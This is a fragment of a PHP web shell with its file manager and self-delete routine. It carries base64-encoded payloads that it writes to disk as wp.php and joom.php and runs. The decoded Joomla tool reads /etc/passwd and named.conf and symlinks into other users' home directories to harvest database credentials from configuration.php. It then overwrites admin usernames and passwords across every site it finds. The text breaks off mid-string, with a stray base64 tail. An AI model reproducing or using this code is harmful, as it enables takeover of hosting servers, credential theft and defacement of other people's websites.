Cg0KYnJlYWs7DQoNCg0KDQoNCg0KDQoNCg0KfQ0KDQoNCi8vLyBob21lIC8vLw0KfWVsc2UNCnsNCg0KDQplY2hvICcnOw0KZWNobyAnJzsNCiB7DQoJDQoNCg0KfQ0KDQogICAgZWNobyAnDQo8YnIgLz48YnIgLz48YnIgLz48L2I+PC9iPjxkaXYgY2xhc3M9ImZvdCI+IDxiPjwvYj4gIDxiPjwvYj4NCjxiciAvPjxiciAvPg0KDQo8YnIgLz48YnIgLz4NCjwvZGl2PiAnOw0KDQp9DQoNCg0KZnVuY3Rpb24gZXgoJHRleHQsJGEsJGIpew0KJGV4cGxvZGUgPSBleHBsb2RlKCRhLCR0ZXh0KTsNCiRleHBsb2RlID0gZXhwbG9kZSgkYiwkZXhwbG9kZVsxXSk7DQpyZXR1cm4gJGV4cGxvZGVbMF07DQp9DQoNCg0KDQplY2hvICc8L2Rpdj4NCg0KDQoNCg0KDQo8L2JvZHk+DQoNCjwvaHRtbD4NCic7DQoNCj8+';
$file = fopen("wp.php" ,"w+");
$write = fwrite ($file ,base64_decode($wp1));
fclose($file);
echo '<iframe src="wp.php" style="height:500px; width:1500px; border:0px;" name="Mass">';
hErofooter();
}
function hErojoom()
{
hErohead();
$joom1 = 'PD9waHANCg0KDQoNCg0KDQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KDQokcGFnZVVSTCA9ICdodHRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsNCiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VVUkwgKTsNCiRwYWdlVVJMID1zdHJfcmVwbGFjZSgkdVtjb3VudCgkdSktMV0sIiIsJHBhZ2VVUkwgKTsNCg0KJHBhZ2VGVFAgPSAnZnRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nL3B1YmxpY19odG1sLycuJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQokdSA9IGV4cGxvZGUoIi8iLCRwYWdlRlRQICk7DQokcGFnZUZUUCA9c3RyX3JlcGxhY2UoJHVbY291bnQoJHUpLTFdLCIiLCRwYWdlRlRQICk7DQoNCj8+DQogIDwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iDQogICAgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KDQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQoNCjxoZWFkPg0KPHRpdGxlPk1hc3MgSm9vbWxhPC90aXRsZT4NCg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KICBodG1sLGJvZHkgew0KICAgICBtYXJnaW46IDA7DQogICAgIHBhZGRpbmc6IDA7DQogICAgIG91dGxpbmU6IDA7DQp9DQphew0KDQogZm9udC1zaXplOiAxM3B4Ow0KDQp9DQoNCg0KYm9keSB7DQogICAgZGlyZWN0aW9uOiBsdHI7DQogICAgYmFja2dyb3VuZC1jb2xvcjojRjRGNEY0Ow0KCWNvbG9yOiByZ2IoMTUzLCAxNTMsIDE1Myk7DQogICAgdGV4dC1hbGlnbjogY2VudGVyDQp9DQoNCg0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjMDAwMDAwOw0KfQ0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3Q6aG92ZXJ7DQpib3gtc2hhZG93OiAwcHggMHB4IDRweCAjQUFBQUFBOw0KfQ0KDQoNCi5oZWRyIHsNCiAgZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCiAgZm9udC1zaXplOiAyMnB4Ow0KDQoNCn0NCg0KLmNvbnQgYXsNCg0KIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiBjb2xvcjpyZ2IoMTUzLCAxNTMsIDE1Myk7DQogZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCiBmb250LXNpemU6IDE2cHg7DQogdGV4dC1zaGFkb3c6IDBweCAwcHggM3B4IDsNCn0NCg0KLmNvbnQgYTpob3ZlcnsNCg0KDQogIGNvbG9yOiAjRUVFRUVFIDsNCiAgdGV4dC1zaGFkb3c6MHB4IDBweCAzcHggIzAwMDAwMCA7DQoNCg0KfQ0KDQoudG1wIHRyIHRkew0KDQpib3JkZXI6IHNvbGlkIDFweCAjQkJCQkJCOw0KDQpwYWRkaW5nOiAycHggOw0KICBmb250LXNpemU6IDEzcHg7DQp9DQoNCi50bXAgdHIgdGQgYSB7DQogIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCg0KDQoNCn0NCg0KLmZvdGVyew0KICBmb250LXNpemU6IDlwdDsNCiAgY29sb3I6ICNBQUFBQUEgOw0KICB0ZXh0LWFsaWduOiBjZW50ZXINCn0NCg0KLnRtcCB0ciB0ZDpob3ZlcnsNCg0KYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzg4ODg4ODsNCg0KfQ0KLmZvdHsNCg0KZm9udC1mYW1pbHk6VGFob21hLCBBcmlhbCwgc2Fucy1zZXJpZjsNCg0KICBmb250LXNpemU6IDExcHQ7DQp9DQouZm9yIGEgOiBob3ZlcnsNCg0KdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4ICMzMzY2RkY7DQoNCn0NCg0KDQouaXIgew0KICBjb2xvcjogI0ZGMDAwMDsNCn0NCg0KDQoNCjwvc3R5bGU+DQoNCjwvaGVhZD4NCg0KPGJvZHkgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAiPg0KDQoNCjxkaXYgY2xhc3M9J2FsbCc+DQoNCg0KPD9waHANCg0KDQoNCg0KDQplY2hvICc8ZGl2IGNsYXNzPSJjb250Ij4NCg0KDQogPGEgaHJlZj0iP2JsYWNrcjAwdD1qb29tIj4gTWFzcyBKb29tbGEgU2gzbGwgPC9hPg0KDQoNCg0KDQoNCjxiciAvPjxiciAvPjxiciAvPg0KDQoNCg0KDQoNCg0KPC9kaXY+JzsNCg0KaWYoaXNzZXQoJF9SRVFVRVNUWydibGFja3IwMHQnXSkpDQp7DQoNCnN3aXRjaCAoJF9SRVFVRVNUWydibGFja3IwMHQnXSkNCnsNCg0KDQoNCg0KDQoNCg0KDQovLy8gYnlwYXNzIHJlYWQNCg0KY2FzZSAncmVhZCc6DQoNCmVjaG8gInJlYWQgL2V0Yy9uYW1lZC5jb25mIjsNCmVjaG8gIjxiciAvPjxiciAvPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/d2VicjAwdD1yZWFkJnNhdmU9MSc+PHRleHRhcmVhIGNvbHM9JzgwJyByb3dzPScyMCcgbmFtZT0nZmlsZSc+IjsNCmZsdXNoKCk7DQpmbHVzaCgpOw0KDQoNCiRmaWxlID0gJy9ldGMvbmFtZWQuY29uZic7DQoNCg0KJHIzYWQgPSBAZm9wZW4oJGZpbGUsICdyJyk7DQppZiAoJHIzYWQpew0KJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KZWNobyAiIi5odG1sZW50aXRpZXMoJGNvbnRlbnQpLiIiOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHIzYWQgPSBAc2hvd19zb3VyY2UoJGZpbGUpIDsNCn0NCmVsc2UgaWYgKCEkcjNhZCkNCnsNCiRyM2FkID0gQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsNCn0NCmVsc2UgaWYgKCEkcjNhZCkNCnsNCiRzbSA9IEBzeW1saW5rKCRmaWxlLCdzeW0udHh0Jyk7DQoNCg0KaWYgKCRzbSl7DQokcjNhZCA9IEBmb3Blbignc3ltL3N5bS50eHQnLCAncicpOw0KJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KZWNobyAiIi5odG1sZW50aXRpZXMoJGNvbnRlbnQpLiIiOw0KDQp9DQp9DQoNCg0KDQplY2hvICI8L3RleHRhcmVhPjxiciAvPjxiciAvPjxpbnB1dCAgdHlwZT0nc3VibWl0JyB2YWx1ZT0nU2F2ZScvPiA8L2Zvcm0+IjsNCg0KDQppZihpc3NldCgkX0dFVFsnc2F2ZSddKSl7DQoNCg0KJGNvbnQgPSBzdHJpcGNzbGFzaGVzKCRfUE9TVFsnZmlsZSddKTsNCg0KJGYgPSBmb3BlbignbmFtZWQudHh0JywndycpOw0KDQokdyA9IGZ3cml0ZSgkZiwkY29udCk7DQoNCiAgICAgICAgICAgICAgICAgIGlmKCR3KXsNCg0KICAgICAgICAgICAgICAgICAgZWNobyAnPGJyIC8+c2F2ZSBoYXMgYmVlbiBzdWNjZXNzZnVsbHknOw0KDQogICAgICAgICAgICAgICAgICB9DQoNCmZjbG9zZSgkZik7DQoNCg0KDQoNCn0NCg0KDQoNCmJyZWFrOw0KDQovLyBwYXNzd2QNCg0KY2FzZSAncGFzc3dkJzoNCg0KaWYoaXNzZXQoJF9HRVRbJ3NhdmUnXSkgYW5kIGlzc2V0KCRfUE9TVFsnZmlsZSddKSBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KDQoNCiRjb250ID0gc3RyaXBjc2xhc2hlcygkX1BPU1RbJ2ZpbGUnXSk7DQoNCmlmKCFmaWxlX2V4aXN0cygncGFzc3dkLnR4dCcpKXsNCg0KJGYgPSBAZm9wZW4oJ3Bhc3N3ZC50eHQnLCd3Jyk7DQoNCiR3ID0gQGZ3cml0ZSgkZiwkY29udCk7DQoNCmZjbG9zZSgkZik7DQp9DQppZigkdyBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KLy8gKiBTSE9XICogLy8NCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzM1JSc+PHRkPlVzZXJzPC90ZD48dGQ+c3ltbGluazwvdGQ+PHRkPkZUUDwvdGQ+IjsNCmZsdXNoKCk7DQoNCiRmaWwzID0gZmlsZSgncGFzc3dkLnR4dCcpOw0KDQpmb3JlYWNoICgkZmlsMyBhcyAkZil7DQoNCiAgICAgJHU9ZXhwbG9kZSgnOicsICRmKTsNCiAgICAgJHVzZXIgPSAkdVsnMCddOw0KDQoNCg0KZWNobyAiDQo8dHI+DQoNCg0KDQo8dGQgd2lkdGg9JzE1JSc+DQokdXNlcg0KPC90ZD4NCg0KDQoNCg0KDQoNCjx0ZCB3aWR0aD0nMTAlJz4NCjxhIGhyZWY9J3N5bS9yb290L2hvbWUvJHVzZXIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rIDwvYT4NCjwvdGQ+DQoNCjx0ZCB3aWR0aD0nMTAlJz4NCjxhIGhyZWY9JyRwYWdlRlRQL3N5bS9yb290L2hvbWUvJHVzZXIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5GVFA8L2E+DQo8L3RkPg0KDQoNCg0KPC90cj48L2Rpdj4gIjsNCg0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQp9DQoNCg0KDQoNCg0KDQpkaWUgKCI8L3RyPjwvZGl2PiIpOw0KDQoNCiAgICAgICAgICAgICAgICAgIH0NCg0KDQoNCg0KDQp9DQoNCg0KDQplY2hvICJyZWFkIC9ldGMvcGFzc3dkIjsNCmVjaG8gIjxiciAvPjxiciAvPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/d2VicjAwdD1wYXNzd2Qmc2F2ZT0xJz48dGV4dGFyZWEgY29scz0nODAnIHJvd3M9JzIwJyBuYW1lPSdmaWxlJz4iOw0KZmx1c2goKTsNCg0KJGZpbGUgPSAnL2V0Yy9wYXNzd2QnOw0KDQoNCiRyM2FkID0gQGZvcGVuKCRmaWxlLCAncicpOw0KaWYgKCRyM2FkKXsNCiRjb250ZW50ID0gQGZyZWFkKCRyM2FkLCBAZmlsZXNpemUoJGZpbGUpKTsNCmVjaG8gIiIuaHRtbGVudGl0aWVzKCRjb250ZW50KS4iIjsNCn0NCmVsc2VpZighJHIzYWQpDQp7DQokcjNhZCA9IEBzaG93X3NvdXJjZSgkZmlsZSkgOw0KfQ0KZWxzZWlmKCEkcjNhZCkNCnsNCiRyM2FkID0gQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsNCn0NCmVsc2VpZighJHIzYWQpDQp7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCR1aWQ9MDskdWlkPDEwMDA7JHVpZCsrKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYXJhKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiJHZhbDoiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogfQ0KDQoNCmZsdXNoKCk7DQoNCg0KZWNobyAiPC90ZXh0YXJlYT48YnIgLz48YnIgLz48aW5wdXQgIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZuYnNwOyZuYnNwO3N5bWxpbmsmbmJzcDsmbmJzcDsnLz4gPC9mb3JtPiI7DQpmbHVzaCgpOw0KDQpicmVhazsNCg0KDQoNCmNhc2UgJ2pvb20nOg0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vIHh4eHh4eHh4eHh4eHh4eHh4eHggLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQoNCmlmKGlzc2V0KCRfUE9TVFsncyddKSl7DQoNCiRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCdqb29tbGEudHh0Jyk7DQoNCiRleCAgID0gZXhwbG9kZSgiXG4iLCRmaWxlKTsNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBkb21pbiA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KZmx1c2goKTsNCg0KDQpmb3JlYWNoICgkZXggYXMgJGV4cCl7DQoNCiRlcyAgID0gZXhwbG9kZSgifHwiLCRleHApOw0KDQokY29uZmlnID0gJGVzWzBdOw0KDQokZG9taW4gPSAkZXNbMV07DQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCiRyZWFkY29uZmlnICA9IEBmaWxlX2dldF9jb250ZW50cyh0cmltKCRjb25maWcpKTsNCg0KaWYoZXJlZygnSkNvbmZpZycsJHJlYWRjb25maWcpKXsNCg0KDQoNCiRwYXNzICAgID0gIGV4KCRyZWFkY29uZmlnLCckcGFzc3dvcmQgPSBcJycsIic7Iik7DQoNCiR1c2VyZGIgID0gIGV4KCRyZWFkY29uZmlnLCckdXNlciA9IFwnJywiJzsiKTsNCg0KJGRiICAgICAgPSAgZXgoJHJlYWRjb25maWcsJyRkYiA9IFwnJywiJzsiKTsNCg0KJGZpeCAgICAgPSAgZXgoJHJlYWRjb25maWcsJyRkYnByZWZpeCA9IFwnJywiJzsiKTsNCg0KJHRhYiAgICAgPSAgJGZpeC4ndXNlcnMnOw0KDQoNCiRjb24gICAgID0gQG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsJHVzZXJkYiwkcGFzcyk7DQoNCiRkYiAgICAgID0gQG15c3FsX3NlbGVjdF9kYigkZGIsJGNvbik7DQoNCiRxdWVyeSAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHVzZXJuYW1lYCA9J3NlYy13LmNvbSciKTsNCg0KDQokcXVlcnkzICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGBwYXNzd29yZGAgPSc0NGEwYmNkYTYxMTUxNDYyNWJhOTRlMGIxYzBiZGFlZDoyaWV0czl5ZGpSM2lPZFN1eXZXNTRwSXp5RjlNMVA1SiciKTsNCg0KDQppZiAoJHF1ZXJ5IGFuZCAkcXVlcnkzICl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TdWNjZWVkIDwvYj51c2VyIFtCTEFDSy5KYUd1QXJdIHBhc3MgWzFdPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPic7fQ0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQplY2hvICI8dHI+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KZmx1c2goKTsNCg0KDQoNCn1lbHNlew0KDQplY2hvICI8dHI+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRleHAnPmNvbmZpZzwvYT48L3RkPjx0ZD48YiBzdHlsZT0nY29sb3I6cmVkJz5mYWlsZWQ8L2I+PC90ZD48L3RyPiI7DQpmbHVzaCgpOw0KDQp9DQoNCn0NCg0KDQoNCg0KDQoNCg0KDQoNCmRpZSgpOw0KDQp9DQoNCmlmKCFpc19maWxlKCduYW1lZC50eHQnKSl7DQoNCiRkMDBtID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOw0KDQpmbHVzaCgpOw0KDQoNCn1lbHNlew0KDQokZDAwbSA9IGZpbGUoIm5hbWVkLnR4dCIpOw0KDQoNCn0NCmlmKCEkZDAwbSkNCnsNCg0KICAgICAgICAgICAgICAgIGRpZSAoIjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7IHVybD0/d2VicjAwdD1yZWFkJy8+Iik7DQp9DQplbHNlDQoNCnsNCmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+DQo8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJHBnP3dlYnIwMHQ9am9vbSc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nTWFzcyBjaGluZyBBZG1pbicgLz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPScxJyBuYW1lPSdzJyAvPg0KPC9mb3JtPjxiciAvPjxiciAvPg0KPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD4gRG9tYWlucyA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KDQokZiA9IGZvcGVuKCdqb29tbGEudHh0JywndycpOw0KDQpmb3JlYWNoKCRkMDBtIGFzICRkb20pew0KDQppZihlcmVnaSgiem9uZSIsJGRvbSkpew0KDQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkb20sICRkb21zd3MpOw0KDQppZihzdHJsZW4odHJpbSgkZG9tc3dzWzFdWzBdKSkgPiAyKXsNCg0KJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbXN3c1sxXVswXSkpOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQokd3BsPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCI7DQokd3BwPWdldF9oZWFkZXJzKCR3cGwpOw0KJHdwPSR3cHBbMF07DQoNCiR3cDI9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAiOw0KJHdwcDI9Z2V0X2hlYWRlcnMoJHdwMik7DQokd3AxMj0kd3BwMlswXTsNCg0KJHdwMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiR3cHAzPWdldF9oZWFkZXJzKCR3cDMpOw0KJHdwMTM9JHdwcDNbMF07DQoNCg0KIC8vLy8vLy8vLy8gam9vbWxhIC8vLy8vLy8vLy8vLw0KDQokcG9zID0gc3RycG9zKCR3cCwgIjIwMCIpOw0KJGNvbmZpZz0iJm5ic3A7IjsNCg0KaWYgKHN0cnBvcygkd3AsICIyMDAiKSA9PSB0cnVlICkNCnsNCiAkY29uZmlnPSAkd3BsOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTIsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AyOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTMsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AzOw0KfQ0KZWxzZQ0Kew0KY29udGludWU7DQoNCn0NCmZsdXNoKCk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJGRvbSA9ICRkb21zd3NbMV1bMF07DQoNCiR3ID0gZndyaXRlKCRmLCIkY29uZmlnfHwkZG9tIFxuIik7DQppZigkdyl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPic7fQ0KDQoNCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4iPiIuJGRvbXN3c1sxXVswXS4iPC9hPjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KDQoNCg0KDQoNCmZsdXNoKCk7DQoNCg0KfQ0KfQ0KfQ0KfQ0KDQoNCmJyZWFrOw0KDQoNCg0KDQoNCg0KDQoNCg0KfQ0KDQoNCi8vLyBob21lIC8vLw0KfWVsc2UNCnsNCg0KDQplY2hvICcnOw0KZWNobyAnJzsNCiB7DQoJDQoNCg0KfQ0KDQogICAgZWNobyAnDQo8YnIgLz48YnIgLz48YnIgLz48L2I+PC9iPjxkaXYgY2xhc3M9ImZvdCI+IDxiPjwvYj4gIDxiPjwvYj4NCjxiciAvPjxiciAvPg0KDQo8YnIgLz48YnIgLz4NCjwvZGl2PiAnOw0KDQp9DQoNCg0KZnVuY3Rpb24gZXgoJHRleHQsJGEsJGIpew0KJGV4cGxvZGUgPSBleHBsb2RlKCRhLCR0ZXh0KTsNCiRleHBsb2RlID0gZXhwbG9kZSgkYiwkZXhwbG9kZVsxXSk7DQpyZXR1cm4gJGV4cGxvZGVbMF07DQp9DQoNCg0KDQplY2hvICc8L2Rpdj4NCg0KDQoNCg0KDQo8L2JvZHk+DQoNCjwvaHRtbD4NCic7DQoNCj8+';
$file = fopen("joom.php" ,"w+");
$write = fwrite ($file ,base64_decode($joom1));
fclose($file);
echo '<iframe src="joom.php" style="height:500px; width:1500px; border:0px;" name="Mass">';
hErofooter();
}
function hEroselfrm()
{
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
hErohead();
echo "<div class=header><pre class=ml1 style='margin-top:5px'>";
echo "
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
????????????????
????????????????
????????????????
?????????????????
????????????????
????????????????
????????????????
????????????????
????????????????
????????????????
";
echo '<br>Kill Me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
hEroFooter();
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('hEro' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'FilesMan';
if( !empty($_POST['a']) && function_exists('hEro' . $_POST['a']) )
call_user_func('hEro' . $_POST['a']);
exit;
?>W4odHJpbSgkZG9tc3dzWzFdWzBdKSkgPiAyKXsNCg0KJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbXN3c1sxXVswXSkpOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQokd3BsPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCI7DQokd3BwPWdldF9oZWFkZXJzKCR3cGwpOw0KJHdwPSR3cHBbMF07DQoNCiR3cDI9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAiOw0KJHdwcDI9Z2V0X2hlYWRlcnMoJHdwMik7DQokd3AxMj0kd3BwMlswXTsNCg0KJHdwMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiR3cHAzPWdldF9oZWFkZXJzKCR3cDMpOw0KJHdwMTM9JHdwcDNbMF07DQoNCg0KIC8vLy8vLy8vLy8gam9vbWxhIC8vLy8vLy8vLy8vLw0KDQokcG9zID0gc3RycG9zKCR3cCwgIjIwMCIpOw0KJGNvbmZpZz0iJm5ic3A7IjsNCg0KaWYgKHN0cnBvcygkd3AsICIyMDAiKSA9PSB0cnVlICkNCnsNCiAkY29uZmlnPSAkd3BsOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTIsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AyOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTMsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AzOw0KfQ0KZWxzZQ0Kew0KY29udGludWU7DQoNCn0NCmZsdXNoKCk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJGRvbSA9ICRkb21zd3NbMV1bMF07DQoNCiR3ID0gZndyaXRlKCRmLCIkY29uZmlnfHwkZG9tIFxuIik7DQppZigkdyl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPic7fQ0KDQoNCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4iPiIuJGRvbXN3c1sxXVswXS4iPC9hPjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KDQoNCg0KDQoNCmZsdXNoKCk7DQoNCg0KfQ0KfQ0KfQ0KfQ0KDQoNCmJyZWFrOw0KDQoNCg0KDQoNCg0KDQoNCg0KfQ0KDQoNCi8vLyBob21lIC8vLw0KfWVsc2UNCnsNCg0KDQplY2hvICcnOw0KZWNobyAnJzsNCiB7DQoJDQoNCg0KfQ0KDQogICAgZWNobyAnDQo8YnIgLz48YnIgLz48YnIgLz48L2I+PC9iPjxkaXYgY2xhc3M9ImZvdCI+IDxiPjwvYj4gIDxiPj